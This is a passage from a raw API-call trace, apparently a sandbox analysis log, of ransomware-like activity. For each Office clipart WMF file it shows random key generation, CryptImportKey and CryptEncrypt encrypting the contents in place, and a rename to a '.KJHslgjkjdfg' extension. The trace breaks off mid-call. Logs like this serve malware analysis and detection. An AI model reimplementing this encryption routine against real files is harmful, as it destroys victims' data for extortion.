[0173.911] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.911] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.911] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.911] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.911] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.911] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.911] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe70, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xe70, lpOverlapped=0x0) returned 1 [0173.911] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe70, dwBufLen=0xe70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe70) returned 1 [0173.911] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.911] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xe70, lpOverlapped=0x0) returned 1 [0173.912] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.912] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xf44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.912] SetEndOfFile (hFile=0x114) returned 1 [0173.914] GetProcessHeap () returned 0x2a0000 [0173.914] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.914] GetProcessHeap () returned 0x2a0000 [0173.914] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.914] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf.kjhslgjkjdfg")) returned 1 [0173.915] CloseHandle (hObject=0x114) returned 1 [0173.915] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152570.WMF", cAlternateFileName="")) returned 1 [0173.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.917] GetProcessHeap () returned 0x2a0000 [0173.917] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.917] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.917] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.917] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.920] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.920] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.920] GetProcessHeap () returned 0x2a0000 [0173.920] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.920] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.920] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.920] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.920] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.920] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.920] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.920] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.920] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.921] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.921] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.921] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.921] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd28, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xd28, lpOverlapped=0x0) returned 1 [0173.921] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd30, dwBufLen=0xd30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd30) returned 1 [0173.921] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.921] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xd30, lpOverlapped=0x0) returned 1 [0173.921] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.921] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xe04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.921] SetEndOfFile (hFile=0x114) returned 1 [0173.923] GetProcessHeap () returned 0x2a0000 [0173.923] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.924] GetProcessHeap () returned 0x2a0000 [0173.924] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.924] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf.kjhslgjkjdfg")) returned 1 [0173.925] CloseHandle (hObject=0x114) returned 1 [0173.925] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ab4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152590.WMF", cAlternateFileName="")) returned 1 [0173.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.926] GetProcessHeap () returned 0x2a0000 [0173.926] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.926] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.926] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.926] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0173.928] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.928] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.928] GetProcessHeap () returned 0x2a0000 [0173.928] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.928] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.928] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.928] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.928] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.928] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.928] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.929] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.929] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.929] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.929] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.929] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.929] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2ab4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2ab4, lpOverlapped=0x0) returned 1 [0173.930] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2ac0, dwBufLen=0x2ac0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2ac0) returned 1 [0173.930] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.930] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2ac0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2ac0, lpOverlapped=0x0) returned 1 [0173.930] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.930] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2b94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.930] SetEndOfFile (hFile=0x114) returned 1 [0173.933] GetProcessHeap () returned 0x2a0000 [0173.933] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.933] GetProcessHeap () returned 0x2a0000 [0173.933] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.933] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf.kjhslgjkjdfg")) returned 1 [0173.934] CloseHandle (hObject=0x114) returned 1 [0173.934] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152594.WMF", cAlternateFileName="")) returned 1 [0173.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.935] GetProcessHeap () returned 0x2a0000 [0173.935] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.935] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.935] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.935] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0173.938] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.938] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.938] GetProcessHeap () returned 0x2a0000 [0173.938] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.938] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.938] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.938] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.938] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.938] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.938] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.938] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.938] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.938] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.939] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.939] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.939] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x18c4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x18c4, lpOverlapped=0x0) returned 1 [0173.939] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x18d0, dwBufLen=0x18d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x18d0) returned 1 [0173.940] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.940] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x18d0, lpOverlapped=0x0) returned 1 [0173.940] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.940] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x19a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.940] SetEndOfFile (hFile=0x114) returned 1 [0173.942] GetProcessHeap () returned 0x2a0000 [0173.942] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.942] GetProcessHeap () returned 0x2a0000 [0173.942] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.942] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf.kjhslgjkjdfg")) returned 1 [0173.944] CloseHandle (hObject=0x114) returned 1 [0173.944] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2628, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152600.WMF", cAlternateFileName="")) returned 1 [0173.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.945] GetProcessHeap () returned 0x2a0000 [0173.945] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.945] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.945] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.945] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.947] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.947] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.947] GetProcessHeap () returned 0x2a0000 [0173.947] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.947] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.947] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.947] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.947] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.947] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.947] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.948] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.948] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.948] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.948] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.948] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.948] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2628, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2628, lpOverlapped=0x0) returned 1 [0173.949] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, 